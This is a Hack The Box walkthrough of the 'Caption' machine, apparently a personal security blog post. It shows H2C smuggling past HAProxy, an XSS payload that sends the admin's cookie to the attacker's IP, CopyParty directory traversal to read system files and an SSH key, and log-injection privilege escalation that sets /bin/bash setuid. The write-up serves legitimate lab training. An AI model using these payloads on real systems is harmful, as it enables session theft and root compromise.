Hackthebox: Caption

Foued SAIDI Lv4

Overview

Caption is a hard-difficulty linux machine from Hack The Box dealing initially with abusing an XSS through request smuggling bypassing Haproxy to get an admin cookie that’ll allow us to exploit CVE-2023-37474 (a CopyParty Directory Traversal) to later exploit a thrift /Go log handler to inject malicious commands and get root access.

Caption-info-card
Caption-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\0xkujen> nmap -A -Pn 10.129.230.251 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 18:01 W. Central Africa Standard Time
Nmap scan report for 10.129.230.251
Host is up (0.16s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-title: Did not follow redirect to http://caption.htb
|_http-open-proxy: Proxy might be redirecting requests
8080/tcp open http Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel

We can see that we have our typical ssh 22 port, along with a web application deployed on port 80 that’s redirecting us to caption.htb (that we’ll add to our /etc/hosts file) and what looks like an instance of Gitbucket running on port 8080.

Web Application - http://caption.htb

Web Application
Web Application

Seems like a casual login portal.

Web Application - http://caption.htb:8080 - Bitbucket

Bitbucket
Bitbucket

This is a Bitbucket instance. We can see that there are 1 repos on it.

Caption Portal Repository

We can see that it has an app and config folders with a README.md file:

Bitbucket
Bitbucket

Inside of the config folder, we can find a haproxy, service and varnish folders.

Also checking the commit history which seems interesting:

Bitbucket
Bitbucket

Reading the Update Access Control commit; I can see that there are creds for a user named margo that have been deleted:

Bitbucket
Bitbucket

margo:vFr&cS2#0!

H2C Smuggling

We try those creds to ssh into the machine but no use. But using them we can login to the main first web app:

Caption Networks
Caption Networks

Trying to go to /logs returns a 43 forbidden, which should be generated from HAProxy.
Also, Looking at the main page we see this sentence: Note: Services are currently undergoing maintenance. Admins are actively addressing some issues with this feature which indicates the existance of an admin account (XSS?)

While inspecting the config files from GitBucket I saw that Varnish allows the usage of the HTTP2. Which allows us to perform an HTTP/2 to Cleartext attack to get a hold to the logs and extract endpoints behind HAProxy.
H2C smuggling exploits HTTP/1.1 to HTTP/2 cleartext (h2c) upgrade mechanism in order to exploit and bypass security controls in reverse proxies, web app, WAFs. By launching a h2c upgrade, an attacker can establish a direct HTTP/2 connection to the server,getting a tunnel not checked by the proxy.
Doing some ninja searches, I stumbled upon this article by Bishopfox where they highlight that Haproxy can be vulnerable to the attack.

They also create this tool that helps us with pwning our box.

First I start by testing our endpoint and its a success:

1
2
3
PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Caption\h2csmuggler> python3 .\h2csmuggler.py -x http://caption.htb  --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling

Now trying to go for /logs :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Caption\h2csmuggler> python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 17:53:43 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32797 65537
age: 104
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes
<snip>

[INFO] Requesting - /logs
:status: 302
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 17:55:28 GMT
content-type: text/html; charset=utf-8
content-length: 189
location: /
x-varnish: 32798
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.

And this time I get a 302 instead of a 403. Which seems good so far. Logically means that we bypassed HAproxy now since we are no longer forbidden.

Now I’ll do it again but adding my user cookie and I get this message:
<p>You should be redirected automatically to the target URL: <a href="/?err=role_error">/?err=role_error</a>. If not, click the link.
We have a role error while using our user cookie. Now I’m 100% sure that there is an XSS to get the admin cookie.

First I’ll inspect the requests in Caido. There is some interesting config related to varnish when navigating to firewalls endpoint:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:04:56 GMT
content-type: text/html; charset=utf-8
content-length: 7075
cache-control: public, max-age=120
x-varnish: 32872 107
age: 51
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes

32872 means our current request ID, while 107 means the ID of a previous request that was cached. Meaning that the reponse we got came from varnish (it was cached previously).
The age header indicates in seconds how long the response has been cached in varnish since it was first gotten from the backend.

I also noticed that this endpoing: /static/js/lib.js?utm_source=http://internal-proxy.local is being requested whenever I want to access the firewalls endpoint.
If I could alter the source, I could trigger and XSS payload. And I successfully manage to do that using X-Forwarded-Host:

XSS
XSS

I also managed to trigger an alert using "><script> alert(1)</script>

Now the issue is in delivering and XSS payload to the admins in order to get their cookie.
First I’ll create this xss payload on my local machine:

1
kujen.htb"></script><script>fetch("http://10.10.x.x/?"+document.cookie;);</script><script src="x

First I’ll have to wait for varnish to be expected to trigger a cache miss (which is a new request coming from the web app, if age=0 then there was a cache miss ). By checking teh age header, The biggest number I got was 121 before going back to 0 which is indicates that the cache time is around 2 minutes.

I’ll first set intercept on in caido, then navigate to /firewalls endpoint and add my js code, and I get a het from the server:

1
2
3
4
5
6
PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Caption\h2csmuggler> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.x.x - - [25/Jan/2025 19:16:29] "GET /?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzM3ODMxODg3fQ.GvexGsDC3_0j29bngydGIku3JP-XZAQ5RVo92sXCf_o HTTP/1.1" 200 -
::ffff:10.10.x.x - - [25/Jan/2025 19:16:30] "GET /?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzM3ODMxODg3fQ.GvexGsDC3_0j29bngydGIku3JP-XZAQ5RVo92sXCf_o HTTP/1.1" 200 -
::ffff:10.10.x.x - - [25/Jan/2025 19:16:31] "GET /?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzM3ODMxODg3fQ.GvexGsDC3_0j29bngydGIku3JP-XZAQ5RVo92sXCf_o HTTP/1.1" 200 -
::ffff:10.129.230.251 - - [25/Jan/2025 19:16:35] "GET /?session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ HTTP/1.1" 200 -

Now let’s use that cookie to access /logs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Caption\h2csmuggler> python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/logs  -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:25:53 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 169 65552
age: 17
via: 1.1 varnish (Varnish/6.6)
accept-ranges: bytes


<!DOCTYPE html>
<html lang="en" >

<head>
<meta charset="UTF-8">

<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


<title>Caption Portal Login</title>

<link rel="canonical" href="https://codepen.io/Tushar-Sandhu/pen/YzRROwd">




<style>
@import url(https://fonts.googleapis.com/css?family=Roboto);


:root{
--primary-color: #022c22;
--secondary-color:#f0fdfa;
}

html * {
font-family: 'Roboto', sans-serif !important;
cursor:none;
}

body{
margin:0;
padding:0;
height:100vh;
width:100vw;
color:var(--secondary-color);
display:flex;
justify-content:center;
align-items:center;
}
.form-container{
height:550px;
text-align:center;
display:flex;
width:auto;
align-items:center;
justify-content:flex-end;
width: 1200px;
background-color:var(--primary-color);

box-shadow:
0 2.8px 2.2px rgba(0, 0, 0, 0.034),
0 6.7px 5.3px rgba(0, 0, 0, 0.048),
0 12.5px 10px rgba(0, 0, 0, 0.06),
0 22.3px 17.9px rgba(0, 0, 0, 0.072),
0 41.8px 33.4px rgba(0, 0, 0, 0.086),
0 100px 80px rgba(0, 0, 0, 0.12);
transition: all 0.3s;
}
.form-container:hover{
transform: scale(1.01) perspective(1px);
}


.form-container > form{
display:flex;
flex: 1 1 0px;
width:100%;
flex-direction:column;
gap:35px;
align-items:center;
justify-content:center;
}
.submit-btn{
width:35%;
font-size:medium;
background-color:transparent;
color:var(--secondary-color);
border:none;
transition:all 0.3s;
}
.submit-btn:hover{
background-color:var(--secondary-color);
color:var(--primary-color);
font-weight:bold;
outline:none;
transform: scale(1.08) perspective(1px);

}


img{
height:100%;
width:auto;
flex: 1 1 0px;
}
.fname-container, .lname-container, .email-container{
position:relative;
width:50%;
}

label{
position: absolute;
left:-10px;
top:-15px;
z-index:1;
background-color:var(--primary-color);
padding-right:5%;
}
input{
background:transparent;
border:none;
height:30px;
outline: white solid;
font-size:medium;
color:var(--secondary-color);
padding-left:3%;
border-radius:4px;
transition: all 0.3s;
width:100%;
}
input:focus{
outline:green solid;
transform: scale(1.03) perspective(1px);

}

.mymouse{
z-index:2;
position:absolute;
height:30px;
width:30px;
background-color:transparent;
border-radius:50%;
outline: black solid;
transform: translateX(-50%) translateY(-50%);
pointer-events: none;
transition: all 100ms ease-out;
}
</style>

<script>
window.console = window.console || function(t) {};
</script>

<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div class="mymouse"></div>
<div class="form-container">
<form class="fr" method="POST">
<h1 class="elem">Caption Portal<br/>Login </h1>
<div class="fname-container">
<label for='fname'>UserName</label>
<input type="text" name="username" class="elem" >
</div>
<div class='lname-container'>
<label for='lname'>Password</label>
<input type="password" name="password" class="elem">
</div>
<div class='lname-container'>

</div>
<input type="submit" value="Login" class="submit-btn elem">

</form>
<img src="https://img.freepik.com/free-vector/fingerprint-concept-illustration_114360-3630.jpg?w=740&t=st=1690655121~exp=1690655721~hmac=a5de1b1e50d0513d9af30d378c665483c904dd89a6ca2eaae62986b10e3b5c85">
</div>


<script id="rendered-js" >
var cursor = document.querySelector(".mymouse");
document.body.addEventListener("mousemove", function (e) {
cursor.style.left = e.clientX + "px";
cursor.style.top = e.clientY + "px";
});

/*change mouse color*/

var cont = document.querySelector('.fr');
cont.addEventListener("mouseover", function () {
cursor.setAttribute("style", "outline:white solid");
});
var cont = document.querySelector('.form-container');
cont.addEventListener("mouseout", function () {
cursor.setAttribute("style", "outline:black solid");
});
//# sourceURL=pen.js
</script>


</body>

</html>



[INFO] Requesting - /logs
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:26:10 GMT
content-type: text/html; charset=utf-8
content-length: 4228
x-varnish: 170
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes


<!DOCTYPE html>
<html lang="en" lang="pt-br" data-bs-theme="dark">

<head>
<meta charset="UTF-8">

<script src="https://cpwebassets.codepen.io/assets/common/stopExecutionOnTimeout-2c7831bb44f98c1391d6a4ffda0e1fd302503391ca806e7fcc7b9b87197aec26.js"></script>


<title>Caption Networks Home</title>

<link rel="canonical" href="https://codepen.io/ferrazjaa/pen/abPQywb">
<script>
window.console = window.console || function(t) {};
</script>



<title>Viajar é Preciso</title>
<!-- LINKS BOOTSTRAP -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">

<!-- ICONES -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
</head>

<body>


<!-- nav bar -->
<nav class="navbar navbar-expand-lg bg-body-tertiary p-4">
<div class="container">
<!-- o usuário escolher o modo dark ou light -->
<button class="btn btn-secondary me-4" id="alterarTemaSite" onclick="alterarTemaSite()"><i
class="bi bi-brightness-high-fill"></i>
</button>

<!-- Logo -->
<a class="navbar-brand text-success" href="#"><strong>Caption Networks <i class="bi bi-globe"></i></strong></a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent"
aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>

<!-- MENU -->
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="/home">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/firewalls">Firewalls</a>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" role="button" data-bs-toggle="dropdown" aria-expanded="false">
Routers
</a>
<ul class="dropdown-menu">
<li><a class="dropdown-item" href="#">Staging Networks</a></li>
<li><a class="dropdown-item" href="#">UAT Networks</a></li>
</ul>
<li><a class="nav-link" aria-current="page" href="/logs">Logs</a>
</li>

</ul>
<div class="d-flex">
<a href="/logout" class="btn btn-success">Logout</a>
</div>
</div>
</div>
</nav>


<header class="container my-4">
<div class="row">
<!-- vai ocupar todo o espaço se a tela for pequena -->
<!-- col-lg-6 para telas grandes -->

<center><h1>Log Management</h1></center>
<br/><br/><center>
<ul>
<li><a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/fw_logs">Firewall Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/zk_logs">Zookeeper Logs</a></li>
<li><a href="/download?url=http://127.0.0.1:3923/hadoop_logs">Hadoop Logs</a></li>
</ul></center>
</div>
</div>
</header>


<!-- BOOTSTRAP JS -->
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"
integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"
crossorigin="anonymous"></script>


<script id="rendered-js" >
// altera tem site
function alterarTemaSite() {
let tema = document.querySelector("html").getAttribute("data-bs-theme");
if (tema === "dark") {
document.querySelector("html").setAttribute("data-bs-theme", "light");
document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-moon-fill"></i>`;
} else {
document.querySelector("html").setAttribute("data-bs-theme", "dark");
document.querySelector("#alterarTemaSite").innerHTML = `<i class="bi bi-brightness-high-fill""></i>`;
}

}
//# sourceURL=pen.js
</script>


</body>

</html>



PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Caption\h2csmuggler>

And we got it!!

The interesting part was referral links to a download endpoint which accepts a url param pointing to an internal app on 127.0.0.1:3923

Looking at the response we get when requesting 127.0.0.1:3923 we have this title: 💾🎉 which when checking it on https://grep.app , I find that it belongs to CopyParty which is a portable file server.

CVE-2023-37474 - Directory Traversal

Let’s use this exploit to read /etc/passwd file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Caption\h2csmuggler> python3 .\h2csmuggler.py -x http://caption.htb http://caption.htb/download?url=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd   -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM3ODMzMDE1fQ.dM4ER4PO6PF3ds83BD9rdEweUpCRxtazbHSDLR7BgJQ'
[INFO] h2c stream established successfully.
:status: 200
server: Werkzeug/3.0.1 Python/3.10.12
date: Sat, 25 Jan 2025 18:43:40 GMT
content-type: text/html; charset=utf-8
content-length: 4316
x-varnish: 32927
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes

<snip>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
haproxy:x:114:120::/var/lib/haproxy:/usr/sbin/nologin
varnish:x:115:121::/nonexistent:/usr/sbin/nologin
vcache:x:116:121::/nonexistent:/usr/sbin/nologin
varnishlog:x:117:121::/nonexistent:/usr/sbin/nologin
margo:x:1000:1000:,,,:/home/margo:/bin/bash
ruth:x:1001:1001:,,,:/home/ruth:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false




PS C:\Users\0xkujen\Desktop\HackThebox\HTB_Machines\Caption\h2csmuggler>

And it’s a success!!

Now let’s try to read margo’s ssh private key:

1
2
3
4
5
6
7
8
9
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----

Now let’s connect and get our user flag:

1
2
3
4
5
margo@caption:~$ id
uid=1000(margo) gid=1000(margo) groups=1000(margo)
margo@caption:~$ cat user.txt
e41475bebfdf74******************
margo@caption:~$

Privilege Esclation to root

Looking at network stats, We find root running the LogService we found out earlier on gitbucket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
margo@caption:~$ netstat -anot
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3923 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:6082 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:6081 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 1 10.129.230.251:56900 1.1.1.1:53 SYN_SENT on (1.81/2/0)
tcp 0 268 10.129.230.251:22 10.10.x.x:50240 ESTABLISHED on (0.18/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
margo@caption:~$

First I’ll install Apache thrift compiler to be able to generate Python code based on the .thrift file we got earlier.

1
2
3
4
5
namespace go log_service

service LogService {
string ReadLogFile(1: string filePath)
}

No I’ll generate the python code now:

1
2
3
4
5
6
7
8
9
10
11
12
13
kujen@kujen:~$ thrift --gen py log_service.thrift
kujen@kujen:~$ tree gen-py/
gen-py/
├── __init__.py
└── log_service
├── LogService-remote
├── LogService.py
├── __init__.py
├── constants.py
└── ttypes.py

2 directories, 6 files
kujen@kujen:~$

And now create a run.py file inside this directory with the following content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sys


from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol

from log_service import LogService

def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)

client = LogService.Client(protocol)

transport.open()

res = client.ReadLogFile("/tmp/kujen.log")

transport.close()
if __name__ == '__main__':
main()

Now all I have to do is create the kujen.log file on the victim system with this content:

1
"user-agent":"'$(chmod u+s /bin/bash) '"

Privesc
Privesc

The code above explains our logic.

We now run our run.py file and it works:

1
2
3
4
5
6
7
8
margo@caption:/tmp$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
margo@caption:/tmp$ bash -p
bash-5.1# id
uid=1000(margo) gid=1000(margo) euid=0(root) groups=1000(margo)
bash-5.1# cat /root/root.txt
48c30675d94792******************
bash-5.1#

That was it for Caption, hope you learned something new <3

-0xkujen

  • Title: Hackthebox: Caption
  • Author: Foued SAIDI
  • Created at : 2025-01-25 17:51:08
  • Updated at : 2025-01-25 20:09:36
  • Link: https://kujen5.github.io/2025/01/25/Hackthebox-Caption/
  • License: This work is licensed under CC BY-NC-SA 4.0.